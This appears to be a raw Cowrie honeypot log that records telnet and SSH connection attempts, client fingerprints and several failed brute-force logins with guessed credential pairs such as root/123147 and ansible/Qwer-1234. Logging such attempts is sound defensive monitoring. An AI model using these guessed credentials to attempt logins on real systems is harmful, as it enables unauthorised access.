{"eventid":"cowrie.session.closed","duration":33.66570711135864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:42.291951Z","src_ip":"209.126.87.217","session":"3a7fafb39a1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47300,"dst_ip":"10.17.0.5","dst_port":23,"session":"737259fa4ee5","protocol":"telnet","message":"New connection: 139.162.207.207:47300 (10.17.0.5:23) [session: 737259fa4ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:42.376037Z"}
{"eventid":"cowrie.session.closed","duration":120.00181531906128,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:42.828622Z","src_ip":"72.27.54.238","session":"fceb95f08ebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":57696,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae1c42acf253","protocol":"telnet","message":"New connection: 72.27.54.238:57696 (159.203.135.109:23) [session: ae1c42acf253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:43.237746Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.121.146.224","src_port":7394,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b60f051235d","protocol":"telnet","message":"New connection: 187.121.146.224:7394 (10.17.0.5:23) [session: 6b60f051235d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:43.551714Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":59044,"dst_ip":"159.203.135.109","dst_port":22,"session":"fff6428b8e88","protocol":"ssh","message":"New connection: 103.146.202.174:59044 (159.203.135.109:22) [session: fff6428b8e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:43.780526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:43.785375Z","src_ip":"103.146.202.174","session":"fff6428b8e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:44.030336Z","src_ip":"103.146.202.174","session":"fff6428b8e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.25317692756653,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:44.083543Z","src_ip":"209.126.87.217","session":"d1984bccbc3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39026,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f956dbc23a8","protocol":"telnet","message":"New connection: 139.162.207.207:39026 (10.17.0.5:23) [session: 8f956dbc23a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:44.803683Z"}
{"eventid":"cowrie.login.failed","username":"adminer","password":"adminer","message":"login attempt [adminer/adminer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:45.052501Z","src_ip":"103.146.202.174","session":"fff6428b8e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:46.299381Z","src_ip":"103.146.202.174","session":"fff6428b8e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.121.146.224","src_port":8772,"dst_ip":"10.17.0.5","dst_port":23,"session":"251da31770d5","protocol":"telnet","message":"New connection: 187.121.146.224:8772 (10.17.0.5:23) [session: 251da31770d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:46.889726Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":33722,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c140a33a12f","protocol":"ssh","message":"New connection: 37.143.61.130:33722 (159.203.135.109:22) [session: 6c140a33a12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:47.594306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:47.598503Z","src_ip":"37.143.61.130","session":"6c140a33a12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.04255986213684,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:47.760295Z","src_ip":"209.126.87.217","session":"ad2e3d914830","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:47.783358Z","src_ip":"37.143.61.130","session":"6c140a33a12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.296826124191284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:48.235263Z","src_ip":"209.126.87.217","session":"14826f7e3c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39038,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca99bff3903","protocol":"telnet","message":"New connection: 139.162.207.207:39038 (10.17.0.5:23) [session: fca99bff3903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:48.651861Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123147","message":"login attempt [root/123147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:49.884365Z","src_ip":"37.143.61.130","session":"6c140a33a12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.50781869888306,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:49.897385Z","src_ip":"139.162.207.207","session":"ae8d9ca5a13f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35721778869629,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:50.652959Z","src_ip":"209.126.87.217","session":"69dd6968e680","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018699169159,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:50.680355Z","src_ip":"42.114.201.41","session":"c8ea9ed2375d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:50.984501Z","src_ip":"37.143.61.130","session":"6c140a33a12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42800,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a506a7f2dbc","protocol":"telnet","message":"New connection: 209.126.87.217:42800 (159.203.135.109:23) [session: 1a506a7f2dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:51.157501Z"}
{"eventid":"cowrie.session.closed","duration":33.14036417007446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:51.525443Z","src_ip":"209.126.87.217","session":"c530f1fec0c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.27592611312866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:51.596988Z","src_ip":"209.126.87.217","session":"bcae9b748a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.980722665786743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:51.861273Z","src_ip":"209.126.87.217","session":"292f38267f0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00096321105957,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:52.661457Z","src_ip":"42.114.201.41","session":"6c807ce1d3fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35194,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba6e2cfc212c","protocol":"ssh","message":"New connection: 159.203.92.129:35194 (159.203.135.109:22) [session: ba6e2cfc212c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:52.928664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:52.933961Z","src_ip":"159.203.92.129","session":"ba6e2cfc212c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:52.939628Z","src_ip":"159.203.92.129","session":"ba6e2cfc212c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Qwer-1234","message":"login attempt [ansible/Qwer-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:52.952104Z","src_ip":"159.203.92.129","session":"ba6e2cfc212c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00183176994324,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:53.630390Z","src_ip":"42.114.201.41","session":"359f660c124c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0045964717865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:53.636675Z","src_ip":"42.114.201.41","session":"61c562d2c7ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:53.958334Z","src_ip":"159.203.92.129","session":"ba6e2cfc212c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":61244,"dst_ip":"159.203.135.109","dst_port":23,"session":"14014394e5cf","protocol":"telnet","message":"New connection: 42.114.201.41:61244 (159.203.135.109:23) [session: 14014394e5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:55.579743Z"}
{"eventid":"cowrie.session.closed","duration":120.001380443573,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:55.899858Z","src_ip":"42.114.201.41","session":"95ebe6a8407b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42806,"dst_ip":"159.203.135.109","dst_port":23,"session":"40e7526606f2","protocol":"telnet","message":"New connection: 209.126.87.217:42806 (159.203.135.109:23) [session: 40e7526606f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:56.170723Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":29554,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd385e4643a0","protocol":"telnet","message":"New connection: 42.114.201.41:29554 (159.203.135.109:23) [session: cd385e4643a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:57.146705Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42818,"dst_ip":"159.203.135.109","dst_port":23,"session":"4098df742e15","protocol":"telnet","message":"New connection: 209.126.87.217:42818 (159.203.135.109:23) [session: 4098df742e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:57.438475Z"}
{"eventid":"cowrie.session.closed","duration":34.42621207237244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:58.417835Z","src_ip":"209.126.87.217","session":"488225353a53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.92430663108826,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:58.516046Z","src_ip":"139.162.207.207","session":"60901c54d0fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909454107284546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:58.818358Z","src_ip":"209.126.87.217","session":"986002954b90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":37496,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e004811cb7","protocol":"telnet","message":"New connection: 139.162.207.207:37496 (10.17.0.5:23) [session: e5e004811cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:59.028712Z"}
{"eventid":"cowrie.session.closed","duration":35.778940200805664,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:59.848744Z","src_ip":"209.126.87.217","session":"73b63c166de6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":37500,"dst_ip":"10.17.0.5","dst_port":23,"session":"2daec6069a3c","protocol":"telnet","message":"New connection: 139.162.207.207:37500 (10.17.0.5:23) [session: 2daec6069a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:59.881994Z"}
{"eventid":"cowrie.session.closed","duration":35.606261253356934,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:01.101804Z","src_ip":"209.126.87.217","session":"2c927e57b56e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":37504,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c9bd72d54a2","protocol":"telnet","message":"New connection: 139.162.207.207:37504 (10.17.0.5:23) [session: 9c9bd72d54a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:04.242791Z"}
{"eventid":"cowrie.session.closed","duration":41.49037742614746,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:06.518461Z","src_ip":"139.162.207.207","session":"3672ed0433af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36772,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac68eaa801a2","protocol":"telnet","message":"New connection: 139.162.207.207:36772 (10.17.0.5:23) [session: ac68eaa801a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:07.572267Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40656,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a73de8f900d","protocol":"telnet","message":"New connection: 209.126.87.217:40656 (159.203.135.109:23) [session: 4a73de8f900d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:09.497480Z"}
{"eventid":"cowrie.session.closed","duration":32.60160994529724,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:09.651364Z","src_ip":"209.126.87.217","session":"99edeb25e4b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36782,"dst_ip":"10.17.0.5","dst_port":23,"session":"757a9429dbcf","protocol":"telnet","message":"New connection: 139.162.207.207:36782 (10.17.0.5:23) [session: 757a9429dbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:12.396291Z"}
{"eventid":"cowrie.session.closed","duration":32.895928382873535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:15.271864Z","src_ip":"139.162.207.207","session":"737259fa4ee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51176,"dst_ip":"159.203.135.109","dst_port":23,"session":"5253af23f803","protocol":"telnet","message":"New connection: 209.126.87.217:51176 (159.203.135.109:23) [session: 5253af23f803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:17.295361Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51178,"dst_ip":"159.203.135.109","dst_port":23,"session":"a024d235b292","protocol":"telnet","message":"New connection: 209.126.87.217:51178 (159.203.135.109:23) [session: a024d235b292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:17.417006Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51184,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01bfadfce58","protocol":"telnet","message":"New connection: 209.126.87.217:51184 (159.203.135.109:23) [session: e01bfadfce58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:17.431843Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51192,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddfda68d7f85","protocol":"telnet","message":"New connection: 209.126.87.217:51192 (159.203.135.109:23) [session: ddfda68d7f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:17.458297Z"}
{"eventid":"cowrie.session.closed","duration":38.39656090736389,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:18.764752Z","src_ip":"139.162.207.207","session":"2a7be37787ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.758002519607544,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:22.409712Z","src_ip":"139.162.207.207","session":"fca99bff3903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39482,"dst_ip":"159.203.135.109","dst_port":23,"session":"569c4433441b","protocol":"telnet","message":"New connection: 209.126.87.217:39482 (159.203.135.109:23) [session: 569c4433441b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:22.603432Z"}
{"eventid":"cowrie.session.closed","duration":44.20470952987671,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:22.884362Z","src_ip":"139.162.207.207","session":"63ebfe0d7841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.28906989097595,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:23.092639Z","src_ip":"139.162.207.207","session":"8f956dbc23a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39486,"dst_ip":"159.203.135.109","dst_port":23,"session":"677034ce2ca9","protocol":"telnet","message":"New connection: 209.126.87.217:39486 (159.203.135.109:23) [session: 677034ce2ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:26.080281Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39492,"dst_ip":"159.203.135.109","dst_port":23,"session":"9519f26b859c","protocol":"telnet","message":"New connection: 209.126.87.217:39492 (159.203.135.109:23) [session: 9519f26b859c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:26.832740Z"}
